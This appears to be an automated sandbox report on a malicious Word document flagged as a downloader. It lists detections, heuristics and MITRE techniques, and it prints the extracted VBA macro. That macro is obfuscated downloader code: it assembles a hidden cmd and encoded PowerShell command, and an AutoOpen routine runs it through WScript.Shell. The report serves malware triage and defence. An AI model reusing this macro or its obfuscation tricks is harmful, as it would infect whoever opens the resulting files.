MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros with an AutoOpen function, indicating it is designed to execute automatically upon opening. Critical heuristics indicate the use of WScript.Shell and Shell() calls, suggesting the macro attempts to download and execute a secondary payload. The reconstructed command `mD /C set 8c=AAgAIACAAgACAAIAACAAgAAgAC
Heuristics 10
-
ClamAV: Doc.Downloader.Valyria-6665586-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6665586-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next fhEwJL = CreateObject("WScript.Shell").Run(ChrW(0 + 9 + 11 + 7 + 40) + QYYuwdpzZNJWp + FqfCjzD + oDHpMoQucvD + PFBLdiRP + aZHYhtqJ + VZYjjEUVboc + EXVZp + XAfofGOYpnFH + hjlrVFDBWuMIcv, 191371811 - 191371811) End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
On Error Resume Next fhEwJL = CreateObject("WScript.Shell").Run(ChrW(0 + 9 + 11 + 7 + 40) + QYYuwdpzZNJWp + FqfCjzD + oDHpMoQucvD + PFBLdiRP + aZHYhtqJ + VZYjjEUVboc + EXVZp + XAfofGOYpnFH + hjlrVFDBWuMIcv, 191371811 - 191371811) End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9671 bytes |
SHA-256: ad8f54c37111f60ba8912493a61c0ff85d0b4ee23d221e9584c12f2e843f74dc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
98 of 157 identifiers look randomly generated (e.g. 'hjlrVFDBWuMIcv'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "XTLAwhS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "nbjlNUNsiBk"
Function oDHpMoQucvD()
On Error Resume Next
Error CVar(VLPXUZ)
Error LCase(rklRHn)
Error CDbl(63761 * vhGws - 89774 * XDwad)
Error CDec(438622459)
tdOksoBw = "mD /V" + ":^ ^" + " " + " ^ " + "/" + "C" + CStr(Chr(uRumOjs + KZoFaRswdMd + 34 + ocDmhzH + cPfPoBwzwWAYIi)) + " s" + "^e^t ^" + " ^ " + "^8c" + "=^==" + "^AA^g"
Error CDbl(60672 - 39626)
Error Int(468)
Error Sqr(84956588)
hCtwztnl = "A" + "AI" + "^AA" + "C^A^gAA" + "^I^" + "A^A" + "C^A^g" + "A^A^" + "I^"
Error LCase(fVSJUG)
Error Month(705)
FbsiNE = "A" + "^AC^" + "A^gA" + "A^IA" + "^AC"
Error Sgn(25378 * FWHHn)
Error Rnd(84)
Error CDec(468)
XcsOiwI = "Ag^AAI^" + "AA" + "CA^gA^" + "AIA^0^H" + "A9Bw^e^" + "A" + "g^G^A" + "j"
Error CVar(dPkra)
Error Sin(LFtAmo)
Error CDec(460834662)
Error CVar(5351)
GjblHNBiwJ = "B^AdAEG" + "AjB^" + "Q^fA" + "sD^" + "Ar" + "B^Q^" + "Y^A" + "^UG^Ay" + "B^"
Error CStr(MlYYBu - GzYYhn + CAiBG + StLNWE)
LjXmsKazbb = "g^Y" + "A^s^DA" + "N^B" + "^" + "wY^A4E" + "^A^"
Error CDate(84)
Error CDate(kSDhI + dpjcUw / 72257 + WZJXqr)
KiPAl = "k^AA^IA" + "0" + "^G" + "A^l^B^A" + "dAk^E" + "A" + "^tA^Q" + "^Z" + "^A^sG^A" + "v^Bg" + "dA4" + "^" + "G^A"
Error Tan(46758 / vZljj)
Error Atn(NhQQFb)
Error Tan(WWTZLB - ncBPFU / 99198 - 61165)
Error Second(6)
IdiqlVM = "^J^B^wO" + "AkCA" + "NBwY" + "^A^" + "4" + "^"
Error CDec(AkXoPW / vnYOo)
Error CDec(lUEdh - hWkMRF - 18777 / OTnNNM)
Error CStr(ThNtD)
FYljhLLQRj = "EA" + "kA^AI^" + "A^w" + "C" + "A^" + "I" + "B" + "gc^" + "A^YFA^k"
Error Tan(43)
Error Month(XiDpC + ROStYv - UGtQL + pYsqV)
diBDWO = "A" + "AKA^UG" + "A^" + "s^" + "B^" + "QaA^Y^E" + "A^k^B^Q" + "^YA8^G" + "^As^B" + "^g" + "bAcH^Av" + "^B^AR^A"
Error CCur(2)
Error CDec(okZTO)
Error Tan(zTIZu)
XZDDtwGoOWC = "4CA" + "^WB" + "^gd^A" + "^Y^G^Ak" + "A^we^A" + "^k^H" + "^" + "AyB^A^d" + "As^HAp" + "AwUA^Q^" + "HA^" + "KB" + "^"
Error CDec(ZIRIr - vLAmUF - 95023 + BifpP)
Error Log(43)
Error Str(41730 + zowbT / sDGhis / twzMPz)
TdwDoUtrb = "A^J^A" + "^AC^" + "Au^B" + "Q" + "a" + "^A^AC^" + "AIB^" + "gcA^Y^" + "F^A^k^" + "A" + "A"
Error Month(jXRRJ)
Error LCase(24355 / 64869)
IjRpL = "^K" + "Ag" + "^G^AjBQ" + "^Y^A" + "UGA^y^B" + "w^bA^" + "Y^GA7A" + "^w" + "JA" + "^"
oDHpMoQucvD = tdOksoBw + hCtwztnl + FbsiNE + XcsOiwI + GjblHNBiwJ + LjXmsKazbb + KiPAl + IdiqlVM + FYljhLLQRj + diBDWO + XZDDtwGoOWC + TdwDoUtrb + IjRpL
Error CDec(78)
Error Str(iwhjJU)
Error Str(wPqJL - BIujsX)
End Function
Function PFBLdiRP()
On Error Resume Next
Error Tan(61417 / nwCKUU)
Error Sgn(50988 + FKTiu)
cUlDiZZ = "U^GA^4B" + "^Q^Z" + "^A4CAn" + "A" + "wK^" + "AkG^A" + "^" + "D^B" + "^Q" + "c^"
Error Sin(5108 - nFbii - pMopzb * MPGGPU)
Error Int(87667 * jZwQo)
Error Atn(zfaZJL)
Error Second(sfpYa)
GfwZh = "A^QC" + "^" + "A" + "rAw^J" + "A^w" + "^FAn"
Error CStr(2)
Error Hex(qdjknS / 67569)
Error Fix(680)
Error LCase(8758)
Error Fix(wNAuh)
XYLYXmcH = "AwKAM^" + "G^A^p" + "^B^" + "A^b" + "^A" + "^I^GA" + "1B" + "^AcA" + "o^D^A" + "2B^g^" + "bAU^G" + "^A^k^"
Error CDbl(JZRViq * BIVoXd / qjbrf + iafbq)
ZJQWJAAPEB = "A" + "Q" + "^" + "PA" + "^"
Error Second(868)
Error CByte(84820 / 83974 - Ljupf + dfOAu)
Error Oct(99)
Error Month(PqoaXO / SzOuD)
Error CDec(mHanHs)
WLzVN = "0" + "EA^j^" + "B^g^T^A" + "^QC^A" + "^7^Aw^J" + "Ac^D^" + "Az" + "A^gN" + "AcC" + "Ag^A" + "Q^PAAC" + "A^pB^"
Error Hex(GzsNIL)
Error Str(1366)
Error CCur(LRnzbp / EDRXX * 15185 + AjQhwz)
bnFwHDzw = "w^" + "Q" + "AE" + "H" + "^A^"
PFBLdiRP = cUlDiZZ + GfwZh + XYLYXmcH + ZJQWJAAPEB + WLzVN + bnFwHDzw
Error Sqr(665)
End Function
Function aZHYhtqJ()
On Error Resume Next
Error Hex(CcPtQ)
jUfIKCLm = "k^Aw^O^" + "A^" + "kCAn^A" + "AQ^AcC" + "A^o^AA^" + "dA" + "kG" + "^A^" + "s^B"
Error CDate(55)
WNzVKZCwCQd = "AcA^M^" + "F" + "A^uA" + "^w^" + "J" + "A"
Error Fix(ETDln)
Error Val(DsjwUU)
Error Tan(2269)
Error CDbl(RHPdff)
Error CByte(66)
Error Log(74)
boRJMY = "^w" + "^" + "G" + "AVB^gRA" + "8C^" + "At^B^w^" + "bA^M^G" + "^A^u^AA" + "dA"
Error Str(ordjd)
Error CBool(602)
Error Str(XRtwZ)
Error Hex(12)
sTanwBmMUjc = "MGA^lBg" + "a^A8^G" + "^" + "Ay^" + "BAcAM^" + "GAp^" + "BgY^" + "AUH" + "^A^j" + "^B^gL"
Error Month(22587 + 32024 + iviavO + dzmWhH)
Error Sin(6)
YjjmciMGt = "Ac" + "^G^Av^B" + "^Ab" + "^A" + "^" + "IGA^" + "zB^w^a" + "AE" + "GAl^" + "BgcA^Y^" + "G"
Error Str(LUdrlt)
NtduVSHRF = "^" + "A" + "^kB^" + "Q^dA0^" + "GAv^" + "Aw" + "L"
Error LCase(974)
Error CDbl(7480)
Error Fix(lbjSDL)
Error Log(951)
Error Oct(tsWlj)
FvQEIvpXQE = "A^o" + "^DAwB" + "A^dA" + "Q" + "H^A"
Error Oct(ciVDFl)
Error CDec(GCVUZ + nPhYE)
Error Oct(pBYal)
mBkjlaNo = "^oBA^" + "Q^A4^E^" + "A" + "^2" + "^A^w^L" + "AwGA" + "^j^BgLA" + "4^" + "G^An^B" + "^Q^a^A^" + "M^H^Al" + "BAZA^8^"
Error CCur(5)
Error Oct(280)
Error CStr(SzMBB + pDqThj)
Error Log(iwmGj)
iaKKdufVvwh = "GA" + "jBQ^Z^" + "A^Q^GA" + "vA^wLA^" + "o^DA" + "^wBA^" + "dAQ^H"
Error CDate(232)
Error Log(219962302)
Error Sin(355729597)
Error Sqr(74785 + 32458 / QAzuo / uwPbrn)
Error CStr(57444 - GIiKIZ * zhoGvf + oWjfnI)
Error Val(RMmDrf)
zzXcSI = "A^" + "oBA^QAM" + "G^" + "A^GB^w" + "^Z^A^o" + "F^A^B" + "BA^MA" + "^M^" + "HAv" + "^Agc"
Error CCur(13040 / QprmQ - 8454 + RCqwD)
Error Int(QvCjZY)
jQXiTcW = "^AEG^A^" + "u^A^Qb^" + "A8" + "G" + "^A^j" + "B^g^L^" + "A^M" + "G^AnB^w" + "^b" + "^A^IH^A" + "0BwYA" + "^UG^A" + "s^B^QZ"
Error CDec(7)
XWikf = "A8C" + "^A" + "vA^" + "g^OAA" + "HA0B" + "^AdAg" + "GA^" + "A" + "^B^w^b^" + "AQ^E^Av" + "A^Q^b^" + "A8G^A^j" + "Bg^"
aZHYhtqJ = jUfIKCLm + WNzVKZCwCQd + boRJMY + sTanwBmMUjc + YjjmciMGt + NtduVSHRF + FvQEIvpXQE + mBkjlaNo + iaKKdufVvwh + zzXcSI + jQXiTcW + XWikf
Error CCur(85735 * 4604 / 12218 - 60053)
Error Str(IHOGU + dRSPF - 81667 / ZHiDf)
End Function
Function VZYjjEUVboc()
On Error Resume Next
Error Second(951)
Error CByte(IjnFf + PXPSrw + 92174 * NUwpNb)
shJbtGLLt = "L^A^" + "E" + "G^A" + "^5^BQ" + "^" + "YA" + "wG^A"
Error Atn(sziMk - anJpq)
Error CDbl(41682 + lRaAC / 54127 + 5831)
ZqlONrizjb = "lB^w^Y" + "^AEG^A" + "2B^A^ZA" + "U^GA" + "^jBwL^" + "A8CA6" + "^" + "AAc" + "^"
Error Log(4)
Error Sqr(ihHqw)
vBGfzjmzc = "A^" + "QHA^0" + "^B^A^aA" + "^AEA^" + "wB" + "^A^TA^" + "AH^A^" + "yA^w"
Error CBool(EDADHw)
Error Atn(2884)
Error LCase(RwtioW / qoLhw)
Error CBool(CRwSu / EqABFM)
JlnKNiHh = "c" + "^" + "AcEAvA" + "Q^bA8G^" + "A^j^" + "B" + "^gLAMHA" + "^l^" + "BA" + "b"
Error Tan(lQvzBu)
qZPwdzvRN = "^AE" + "GA0" + "^BQ^Z" + "^A0G^" + "AvBgcA" + "^MG^" + "A"
Error CDate(7063)
Error Rnd(21843 / 56967)
Error Month(rWlut / jtmur * 25340 / ETEkVh)
FEjusMrzMwp = "^" + "h^B^Q" + "^b" + "A4CA^x" + "A^g^YA" + "^UG^A3^" + "B^wL" + "A" + "^"
Error Atn(33465 - UHCNB)
Error Sqr(zdHAN + bXAJwp + 34013 + 22158)
Error Sin(7)
Error CDec(5)
Error CVar(wStMc)
nWwMCOAWQFk = "8C^A^6" + "^AA" + "cAQ^H^A" + "^0" + "B^"
Error CDate(987)
Error CCur(vDaYrd + CzPFVa)
Error CCur(XXuInr + 99002)
jNbzM = "Aa^Ac" + "C^A" + "9^A^wUA" + "QH^A" + "^" + "KBA" + "^J^A^" + "s^" + "DA^0^" + "B"
Error Month(RuRSi)
Error Int(fFfNWd)
jkOVY = "^g" + "b^AUG" + "A^p^" + "BA^b^" + "A" + "^ME" + "AiBQ" + "ZAcF^A" + "uA^" + "AdA^U" + "GA"
Error Sgn(wEMtfP)
Error Sqr(8)
Error Sgn(jhrqAd / DKBHRJ)
kLsiKZUBXiz = "O^" + "BA^" + "I^A^Q" + "^H^" + "A^" + "jB" + "QZ^AoGA" + "^iBw" + "bA^" + "0C^A3" + "^B^" + "Q^Z^A^4" + "GA9A^gV"
Error CCur(GZjikR * mnrCN - hBccD + 42031)
Error Atn(IUFbW + uZCTIR)
JKErRwUp = "A^Y^H" + "A^mBA^J" + " ^e- ^" + "ll" + "e^h^sr" + "^" + "e^w" + "op&& " + " ^F^oR" + " /"
Error Fix(tUZjw - WFlcaX)
Error Cos(7191)
Error Fix(iHdmYp)
Error CDec(33759 - MCCTw + dGOoO + kXtwS)
hpMzjp = "^l %" + "^" + "K " + "^in ( " + "^ ^ 97" + "3 ^," + " -" + "1,^ " + "^ ^ " + "^0^ ^" + " " + " ) "
VZYjjEUVboc = shJbtGLLt + ZqlONrizjb + vBGfzjmzc + JlnKNiHh + qZPwdzvRN + FEjusMrzMwp + nWwMCOAWQFk + jNbzM + jkOVY + kLsiKZUBXiz + JKErRwUp + hpMzjp
Error TimeValue(99263 / 91009 * jHzHG - 27678)
Error Second(253868534)
Error Sgn(141269354)
Error Second(zQNLuj)
End Function
Function EXVZp()
On Error Resume Next
Error Oct(IkNjwi)
Error Hex(ElPnhi + wRtSro)
Error Oct(dMpJHT)
abdqARFaDQh = " " + "D^" + "o " + " S^E^T" + " 5" + "^s^1u" + "=!5^s^" + "1u!" + "!^8" + "c:~ %^K" + ", 1!&" + "& ^I"
Error CDate(bTmWWY)
uSaWcjID = "f %^K " + "=^" + "=0 C" + "^a^" + "L" + "^l" + " %" + "5^s^" + "1u:" + "~^"
Error Rnd(kGjJGG)
Error Fix(24446 / NASFw / 50739 / ORCQYp)
dQGkViBJFtN = " ^" + " " + "^ ^6%" + CStr(Chr(DXOZjLiqqc + cCuTNMzYZKcq + 34 + PHMfjzXNiat + QhpYLiNUu)) + " " + " "
EXVZp = abdqARFaDQh + uSaWcjID + dQGkViBJFtN
Error CDbl(injMI)
Error Atn(7040)
Error Rnd(95452 + IpLmai / IwNVVM - HGAISu)
Error CDate(66239 / 81964)
End Function
Attribute VB_Name = "YoAIFLAqR"
Sub AutoOpen()
On Error Resume Next
fhEwJL = CreateObject("WScript.Shell").Run(ChrW(0 + 9 + 11 + 7 + 40) + QYYuwdpzZNJWp + FqfCjzD + oDHpMoQucvD + PFBLdiRP + aZHYhtqJ + VZYjjEUVboc + EXVZp + XAfofGOYpnFH + hjlrVFDBWuMIcv, 191371811 - 191371811)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.